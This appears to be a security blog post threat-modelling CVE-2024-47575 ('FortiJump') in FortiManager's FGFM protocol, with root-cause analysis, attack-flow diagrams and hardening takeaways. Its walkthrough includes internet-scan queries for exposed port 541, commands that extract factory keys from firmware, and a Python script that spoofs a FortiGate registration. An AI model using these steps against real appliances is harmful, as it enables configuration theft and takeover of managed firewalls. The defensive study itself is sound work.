FortiManager FortiJump: Threat Modeling the FGFM Zero-Day

Overview & Threat Landscape#

In distributed enterprise networks and Managed Security Service Provider (MSSP) environments, centralizing the administration of edge firewalls, SD-WAN gateways, and VPN appliances is essential for operational scalability. Within the Fortinet ecosystem, FortiManager functions as the primary management fabric, responsible for pushing configuration templates, policy changes, and cryptographic keys to thousands of remote FortiGate appliances.

To bridge disparate enterprise sites and remote branch offices over the public internet, Fortinet relies on the FortiGate-to-FortiManager (FGFM) protocol. Listening by default on TCP port 541, FortiManager accepts incoming FGFM connections from downstream FortiGate devices to register hardware, synchronize firmware, and dynamically push configuration states.

In late 2024, Fortinet issued emergency advisory FG-IR-24-423 disclosing CVE-2024-47575 (dubbed "FortiJump"), a critical vulnerability assigned a maximum CVSS score of 9.8 and classified under CWE-306 (Missing Authentication for Critical Function). Intelligence released by Google Cloud Mandiant confirmed that advanced threat cluster UNC5820 had been actively exploiting this vulnerability as a zero-day since at least June 2024. Attackers abused the flaw to connect unauthorized devices to internet-exposed FortiManager appliances, exfiltrating configuration files containing full device inventories, user credentials, IPsec pre-shared keys, and internal routing topologies across all managed FortiGate firewalls. The vulnerability was subsequently added to the CISA Known Exploited Vulnerabilities (KEV) catalog.

What makes FortiJump an inflection point in edge perimeter threat research is its hub-and-spoke risk inversion:

Rather than attacking hundreds of individual perimeter firewalls, threat actors targeted the centralized management node.
A single unauthenticated request on port 541 yielded complete custody of downstream configuration databases, transforming the enterprise's central administration point into a catastrophic single point of failure.

[!WARNING] Because FortiManager is designed to orchestrate geographically dispersed perimeter devices, port 541 is frequently exposed directly to the public internet. Any internet-facing FortiManager running unpatched firmware without strict network access controls is vulnerable to automated configuration theft and lateral fleet takeover.

Vulnerability & Attack Root-Cause Analysis#

To understand why FortiJump occurred, we must examine the trust assumptions governing the FGFM protocol and the missing authorization gates within the fgfmsd (or fgfmd) management daemon.

The FGFM Transport Layer and the Shared Factory Certificate Fallacy#

The FGFM protocol runs encapsulated within TLS on TCP port 541. The protocol architecture was originally designed around mutual TLS (mTLS):

When a FortiGate firewall boots and attempts to connect to FortiManager, it initiates a TLS handshake.
During the handshake, the FortiGate client presents an X.509 client certificate to authenticate itself to the FortiManager server.
FortiManager validates the incoming client certificate against its trusted certificate authority (CA) bundle.

The fundamental design flaw stems from Fortinet's reliance on universal factory client certificates. Every hardware and virtual Fortinet appliance is provisioned at manufacture with a standard factory certificate and private key signed by Fortinet's root/intermediate factory CA (e.g., Fortinet_FactoryorFortinet_CA).

Security researchers at WatchTowr, Bishop Fox, and Rapid7 demonstrated that these factory client certificates and private keys are embedded directly within the publicly available firmware images of FortiGate and FortiOS appliances. Because FortiManager validated only that the connecting client certificate was signed by the legitimate Fortinet Factory CA—and because the private keys for those factory certificates are universally accessible to anyone who extracts them from firmware—any arbitrary client presenting a valid factory certificate can successfully complete the TLS handshake with FortiManager.

sequenceDiagram
    autonumber
    actor Client as Attacker Client with Extracted Factory Cert
    participant Server as Port 541 (FGFM)
    Client->>Server: TCP SYN to Port 541 (FGFM)
    Server-->>Client: TCP SYN/ACK
    Client->>Server: TLS ClientHello
    Server-->>Client: TLS ServerHello + CertificateRequest
    Client->>Server: TLS Certificate (Extracted Fortinet Factory Cert) + ClientKeyExchange
    Server-->>Client: TLS Finished
    Note over Client,Server: mTLS Handshake Accepted: Trust Established Without Identity Verification

Missing Verification for Critical FGFM Remote Procedure Calls#

Once the TLS tunnel is established, communication shifts to the application-layer FGFM protocol. In legitimate deployments, FortiManager matches the connecting FortiGate's hardware serial number against an authorized inventory database.

However, reverse engineering of fgfmsd revealed a critical missing authorization check in the command-dispatching routines:

No Serial Number Validation: In default configurations, fgfmsd permitted unregistered, unknown devices to connect and submit registration packets (fgfm-deny-unknown was disabled by default on older branches).
Unauthenticated Remote Function Execution: The daemon exposed administrative RPC functions—such as file download, configuration retrieval, and command execution—prior to verifying whether the connecting device was an authorized managed node.
Format-String and Command Injection Surface: The FGFM daemon parsed custom parameters (such as ip, serial_number, and vdom) into local shell and internal database queries without strict input sanitization.

By simply connecting over port 541 using the shared factory certificate and transmitting a crafted FGFM payload, an unauthenticated attacker could issue administrative commands to FortiManager and request configuration dumps of managed downstream FortiGate devices.

Exploit Architecture & Request Flow#

The following sequence diagram maps the complete exploitation lifecycle, tracing how threat actors like UNC5820 leveraged CVE-2024-47575 to pivot from an initial network probe into mass configuration exfiltration:

sequenceDiagram
    autonumber
    participant Attacker as Threat Actor (UNC5820)
    participant Internet as Public Internet (Port 541)
    participant FGM as FortiManager Appliance (fgfmsd)
    participant DB as FortiManager Config Database
    participant FGT as Managed FortiGate Fleet

    Note over Attacker: Phase 1: OSINT Reconnaissance & Discovery
    Attacker->>Internet: Shodan / Censys scan for exposed TCP 541 (FGFM)
    Internet-->>Attacker: Identify exposed FortiManager IP targets

    Note over Attacker: Phase 2: mTLS Handshake Bypass
    Attacker->>FGM: TLS Handshake with extracted Fortinet Factory Certificate
    FGM->>FGM: Validate cert against hardcoded Fortinet Factory CA (Success)
    FGM-->>Attacker: TLS Established (mTLS Validation Passed)

    Note over Attacker: Phase 3: FGFM Protocol Exploitation
    Attacker->>FGM: Send crafted FGFM packet (Spoofed Serial / Auth Bypass)
    FGM->>FGM: fgfmsd processes request without verifying device authorization
    Attacker->>FGM: Dispatch privileged command to retrieve managed device configs

    Note over FGM: Phase 4: Mass Data Exfiltration
    FGM->>DB: Query configuration files for all managed FortiGates
    DB-->>FGM: Return sys_config archives (Credentials, IPsec keys, Hashes)
    FGM-->>Attacker: Stream exfiltrated configuration archives over FGFM tunnel

    Note over Attacker,FGT: Phase 5: Lateral Fleet Compromise
    Attacker->>FGT: Authenticate directly to downstream firewalls using stolen credentials

Attack Path Step-by-Step#

Understanding the operational threat model of FortiJump requires analyzing the steps executed by threat actors during in-the-wild exploitation campaigns.

Step 1: Internet-Wide OSINT Reconnaissance#

Threat actors identify internet-exposed FortiManager instances using passive OSINT platforms and automated network scanning. Because FGFM responds with distinctive protocol banners and uses port 541, exposed nodes are trivially discovered:

# Shodan search query targeting exposed FortiManager instances
port:541 "FGFM"
ssl:"Fortinet" port:541

## Censys search query targeting FortiManager FGFM protocol
services.port: 541 and services.service_name: "FGFM"

Step 2: Extracting Universal Factory Credentials#

To satisfy the server's TLS CertificateRequest, the attacker extracts the default client certificate and private key from an unencrypted FortiOS firmware image:

# Firmware extraction of standard Fortinet factory client credentials
binwalk -e -M fortios_image.out

## Locating embedded factory certificate files
find . -name "*factory*.crt" -o -name "*factory*.key"
## Common artifacts: /etc/cert/factory/fgt_factory.crt, fgt_factory.key

Step 3: Dispatching the Rogue FGFM Handshake#

Using the extracted factory certificate, the attacker connects to the exposed FortiManager instance over TCP port 541 and initiates the FGFM dialogue. The payload mimics a legitimate FortiGate firewall registering for deployment:

import socket
import ssl

## Target FortiManager appliance details
FGM_HOST = "fortimanager.enterprise.local"
FGM_PORT = 541

## Create SSL context configured with extracted factory credentials
context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.load_cert_chain(
    certfile="fgt_factory.crt",
    keyfile="fgt_factory.key"
)

## Establish mutual TLS connection to FortiManager fgfmsd
with socket.create_connection((FGM_HOST, FGM_PORT)) as sock:
    with context.wrap_socket(sock, server_hostname=FGM_HOST) as ssock:
        print(f"[+] TLS handshake established using factory certificate: {ssock.version()}")
        
        # Conceptual FGFM protocol handshake payload (spoofing serial number)
        # FGFM uses a structured text-based header followed by binary blocks
        handshake_payload = (
            b"AUTH fgfm\r\n"
            b"serialno=FGVM01TM24000001\r\n"
            b"ip=198.51.100.25\r\n"
            b"cmd=register\r\n\r\n"
        )
        ssock.sendall(handshake_payload)
        response = ssock.recv(4096)
        print(f"[+] Server response: {response[:64]}")

Step 4: Exfiltration of Fleet Configuration Archives#

Once fgfmsd accepts the rogue connection, the attacker triggers internal file transfer routines. In observed intrusions, threat actors retrieved compressed archive files containing configuration backups across all managed appliances:

# Conceptual structure of exfiltrated FortiManager device archives
## Target archive path observed in incident response investigations:
## /tmp/sys_config_dump.tar.gz

## Archive contents extracted by threat actors:
## - Device serial numbers and internal management IP addresses
## - Admin password hashes (SHA256 / PBKDF2)
## - IPsec VPN pre-shared keys (PSKs) and X.509 private keys
## - SSL-VPN user directories and LDAP/RADIUS authentication server credentials
## - Complete network routing topologies and firewall access control rules

[!CAUTION] Once an attacker obtains FortiManager configuration dumps, every downstream FortiGate appliance is compromised. Even if the FortiManager is immediately taken offline, attackers possess the static credentials, VPN keys, and administrative hashes required to access individual firewalls directly.

Fast Cyber Defense Morning Takeaways#

The disclosure and active exploitation of FortiJump highlight critical systemic weaknesses in perimeter management architectures and mutual authentication paradigms.

Shared Firmware Keys Invalidate mTLS: Mutual TLS is only as secure as the confidentiality of the client private key. When private keys are shared across all manufactured devices and embedded in firmware, mTLS degrades into simple proof-of-firmware possession, providing zero identity assurance.
Management Ports Must Not Face the Public Internet: Exposing management interfaces (such as TCP port 541) directly to the WAN violates core network segregation principles. FGFM traffic across the internet should be encapsulated strictly within site-to-site IPsec tunnels.
The Danger of Permissive Auto-Registration: Allowing unauthorized or unknown serial numbers to connect and register with administrative daemons by default creates immediate bypass vectors for remote attackers.
Bridge to Evening Defense Guide: In tonight's Edition 2 post, we will deliver the enterprise blue team hardening and threat hunting blueprint for FortiManager, including:
- Enabling fgfm-deny-unknown to instantly block rogue FortiGate registrations.
- Implementing Local-In Firewall policies to restrict port 541 access strictly to authorized static public IP addresses.
- Configuring custom certificate verification to replace shared factory CAs with enterprise-controlled PKI.
- Deploying validated Sigma rules and FortiAnalyzer log queries to hunt for rogue serial numbers and unauthorized FGFM connections.